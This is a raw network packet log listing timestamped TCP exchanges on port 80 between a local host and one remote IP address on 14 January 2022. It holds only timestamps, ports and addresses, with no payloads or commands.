Jan 14, 2022 21:05:41.910819054 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910845995 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910859108 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910865068 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.910901070 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910938978 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.910978079 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.911005020 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.911019087 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.911031008 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.911057949 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.911098003 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.911161900 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.982023954 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.999423981 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999478102 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999517918 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999551058 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.999557972 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999596119 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999634981 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999666929 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.999675989 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999681950 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.999715090 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999754906 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999794006 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999809980 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.999836922 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999842882 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.999877930 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999917030 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999955893 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:41.999970913 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:41.999995947 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000000000 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000036001 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000076056 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000116110 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000152111 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000154972 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000194073 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000195980 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000235081 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000251055 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000274897 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000315905 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000351906 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000380039 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000391960 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000397921 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000432014 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000471115 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000510931 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000525951 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000547886 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000556946 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000587940 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000627041 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000663996 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000689030 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000704050 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000714064 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000741959 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000781059 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000819921 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000835896 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000859022 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000874043 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.000899076 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000938892 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.000977039 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.001003981 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.001017094 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.001019001 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.001059055 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.001097918 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.001137972 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.001153946 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.001174927 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.001188040 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.001215935 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.001255035 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.001292944 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.001322031 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.001343012 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.008748055 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.026345968 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026398897 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026438951 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026456118 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.026477098 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026516914 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026555061 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026568890 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.026592970 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026599884 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.026633024 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026671886 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026711941 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026727915 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.026753902 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026757956 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.026794910 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026834965 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026873112 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026882887 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.026911974 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026921034 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.026952028 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.026990891 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027031898 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027039051 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027075052 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027087927 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027112961 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027152061 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027189970 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027205944 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027228117 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027235031 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027267933 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027307034 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027345896 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027362108 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027386904 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027395010 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027426004 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027465105 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027503967 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027518034 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027543068 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027550936 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027582884 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027622938 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027663946 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027673006 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027704954 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027714014 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027744055 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027784109 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027822971 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027836084 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027861118 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027878046 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.027900934 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027939081 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027977943 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.027993917 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.028022051 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.028023958 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.028059959 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.028100967 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.028140068 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.028153896 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.028178930 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.028194904 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.028220892 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.032051086 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.045372963 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045420885 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045478106 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045500994 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.045533895 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045591116 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045633078 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045649052 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.045670986 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045687914 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.045711040 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045751095 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045790911 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045808077 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.045830965 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045839071 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.045900106 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045938969 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.045978069 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046019077 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046020031 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046046019 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046057940 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046097994 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046135902 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046174049 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046195984 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046205997 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046216011 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046255112 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046293974 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046308041 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046334028 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046336889 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046371937 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046411991 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046452045 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046461105 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046492100 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046498060 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046533108 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046570063 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046608925 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046623945 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046648979 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046652079 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046686888 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046726942 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046765089 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046778917 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046804905 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046821117 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046845913 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046883106 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046922922 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046941042 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046962023 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.046968937 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.046999931 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047040939 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047080040 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047099113 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047117949 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047122955 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047164917 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047203064 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047240973 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047260046 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047281027 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047281027 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047319889 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047359943 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047398090 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047414064 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047437906 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047441006 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047478914 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047517061 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047555923 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047576904 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047594070 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047601938 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047632933 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047672033 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047710896 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047729015 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047750950 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047759056 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047791958 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047828913 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047868013 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047882080 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047908068 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047928095 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.047946930 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.047986031 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048026085 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048039913 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.048069954 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048085928 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.048111916 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048149109 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048187971 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048202991 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.048228025 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048230886 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.048264980 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048304081 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048342943 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048353910 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.048383951 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.048393011 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.048425913 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.049748898 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.049748898 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.049792051 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.049830914 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.049874067 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.049900055 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.049937963 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.049973965 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.065587044 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.065629959 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.065658092 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.065670967 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.065710068 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.065748930 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.065763950 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.065788984 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.065797091 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.065829039 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.065890074 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.065931082 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.065948963 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.065970898 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066009998 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066010952 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066054106 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066092014 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066121101 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066134930 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066148043 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066175938 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066214085 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066252947 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066276073 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066292048 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066312075 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066334963 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066375017 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066391945 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066414118 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066453934 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066493034 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066518068 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066530943 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066554070 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066571951 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066612005 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066648006 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066652060 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066694021 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066714048 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066731930 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066772938 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066814899 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066827059 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066854000 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066888094 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066893101 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066931963 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.066967010 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.066972971 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067014933 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067044020 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067054987 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067095995 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067133904 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067136049 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.067172050 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.067209005 CET	49870	80	192.168.2.5	8.209.70.0
